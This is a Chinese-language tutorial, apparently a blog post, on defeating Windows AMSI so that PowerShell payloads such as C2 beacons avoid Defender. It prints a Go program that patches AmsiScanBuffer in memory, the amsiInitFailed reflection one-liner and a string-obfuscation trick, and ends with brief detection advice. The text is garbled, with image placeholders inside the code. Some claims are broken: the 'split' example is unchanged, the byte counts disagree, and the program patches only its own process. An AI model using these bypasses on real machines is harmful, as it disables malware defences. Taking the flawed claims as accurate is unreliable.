<pre><code class="language-markdown">## 0x01 一次被AMSI拦下的失败故事

还记得有一次在对某家金融公司进行授权渗透测试时,我的Payload被杀软无情拦截。当时,我通过一款自定义的PowerShell脚本想加载内存中的C2 Beacon,结果直接被Windows Defender的AMSI(Antimalware Scan Interface)检测出来并拦截。目标主机的EDR报警瞬间拉满,我不得不终止了这次尝试。

这次失利让我开始深入研究AMSI的检测机制,以及如何有效绕过它。经过一段时间的钻研,我总结出了几种实用的绕过手法。有意思的是,AMSI虽然强大,但它的实现机制依然有不少可以利用的地方。接下来,我会一步步带大家复现当时的实验过程,同时分享几个实战中屡试不爽的绕过技巧。

---

0x02 揭开AMSI的面纱

在深入攻击之前,我们需要先搞清楚AMSI的工作原理。简单来说,AMSI是微软为Windows平台引入的一种通用反恶意软件接口。它的主要作用是拦截传入的恶意载荷,尤其是对PowerShell脚本的动态内容扫描。

AMSI的工作机制

  1. 统一的扫描接口:AMSI允许各种应用程序(如PowerShell、WScript等)将内容提交给它进行检测。
  2. 内容动态扫描:AMSI会对脚本代码(如PowerShell的Invoke-Expression内容)进行动态拦截并扫描。
  3. 调用杀软引擎:AMSI本身并不负责具体的检测任务,而是将数据传给目标主机上安装的杀毒引擎(如Windows Defender)。

通过如下实验代码,我们可以模拟AMSI对恶意脚本的拦截过程:</code></pre>powershell

这段代码是一个简单的恶意脚本模拟

iex "Write-Host 'This is a test payload'" <pre><code> 运行这段代码时,如果目标主机启用了AMSI并配合Windows Defender,那么极有可能会触发告警。它会检测到iex(即Invoke-Expression)可能用于加载恶意脚本。

---

0x03 实验环境搭建

环境一览

  • 目标机
  • Windows 10 x64
  • Windows Defender 启用
  • PowerShell 5.1(默认集成AMSI)
  • 攻击机
  • Kali Linux(用于构造Payload)
  • 工具:Go语言环境 + 自定义免杀工具

准备步骤

  1. Windows Defender配置
  2. 确保目标机的Windows Defender和实时保护功能开启,以验证绕过效果。 `powershell

检查实时保护是否开启

Get-MpPreference | Select-Object -Property RealTimeProtectionEnabled `

  1. PowerShell版本确认
  2. 确保目标机运行的是支持AMSI的PowerShell版本(5.0及以上)。 `powershell

检查PowerShell版本

$PSVersionTable.PSVersion `

  1. 开发环境安装
  2. 在攻击机上安装Go语言编译器: `bash sudo apt update sudo apt install golang -y `

至此,实验环境就搭建完成了。

---

0x04 AMSI绕过的几种套路

绕过AMSI的核心思路是让恶意代码在被提交给AMSI扫描之前,绕过其检测机制。以下是几种常见的实战方法:

1. Memory Patching

通过直接修改目标进程内存中与AMSI相关的函数地址,让AMSI的检测功能失效。这种方法需要借助一个内存操作的工具或API。

Go实现AMSI内存补丁

以下是用Go语言实现的代码,它直接修改AMSI的相关内存地址:</code></pre>go package main

黑客示意图

import ( "fmt" "syscall" "unsafe" )

func main() { // 目标DLL和函数 kernel32 := syscall.NewLazyDLL("kernel32.dll") virtualProtect := kernel32.NewProc("VirtualProtect")

// AMSI DLL中的目标函数地址 amsiDll := syscall.NewLazyDLL("amsi.dll") amsiScanBuffer := amsiDll.NewProc("AmsiScanBuffer")

// 将函数地址转为指针 addr := amsiScanBuffer.Addr() fmt.Printf("AmsiScanBuffer Address: 0x%x\n", addr)

黑客示意图

// 修改内存权限以进行补丁 var oldProtect uint32 virtualProtect.Call(addr, uintptr(4), syscall.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))

// 替换前4字节为返回值0(即NOP) patch := []byte{0x31, 0xC0, 0xC3} // XOR EAX, EAX; RET copy((*[3]byte)(unsafe.Pointer(addr))[:], patch[:])

fmt.Println("AMSI bypass applied successfully!") } <pre><code> 运行步骤

  1. 在Go环境中编译以上代码:go build amsi_bypass.go
  2. 将可执行文件传到目标机运行,内存补丁会实时生效。

黑客示意图

---

2. 字符串分割/混淆

AMSI扫描的是脚本的整体内容,因此通过分割或动态生成的方式,可以有效绕过检测。例如,将Invoke-Expression分割为以下形式:</code></pre>powershell

原始代码:Invoke-Expression $Payload

绕过方式

Invoke-Expression $Payload <pre><code>

3. 环境变量篡改

通过修改PowerShell运行时的上下文变量也能实现绕过。例如:</code></pre>powershell [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true) <pre><code>这段代码直接修改了PowerShell的AMSI初始化状态,使其失效。

黑客示意图

---

0x05 绕过效果验证

在完成绕过后,我们可以再次运行原先的恶意Payload,验证AMSI是否仍然拦截。以下是验证的步骤:

  1. 在目标机运行补丁后的可执行文件。
  2. 再次执行以下PowerShell恶意脚本:
  3. `powershell iex &quot;Write-Host &#039;This is a test payload&#039;&quot; ` 此时,应该不会再触发Windows Defender的AMSI拦截。

---

0x06 如何应对这些绕过?

作为安全研究员,理解攻击技术的同时,也需要知道如何检测和防御。以下是几种应对措施:

  1. 内存扫描:通过EDR工具对目标进程的内存进行完整性检查,发现被篡改的AMSI函数。
  2. 脚本分析:通过静态分析工具发现异常的字符串分割或混淆。
  3. 系统完整性监控:定期检查关键系统调用和DLL文件的完整性,防止被恶意补丁。

---

0x07 个人的一些经验分享

在对抗AMSI的过程中,我深刻体会到,攻击的本质是不断寻找防御的盲点。无论是内存补丁还是脚本混淆,本质上都是针对AMSI检测机制的“障眼法”。但需要注意的是,这些技术虽然在实验环境中表现出色,但在真实的红队行动中,EDR的配合会大大提升检测的难度。

最后提醒:本文技术仅限合法授权的安全研究,切勿用于非法用途!</code></pre>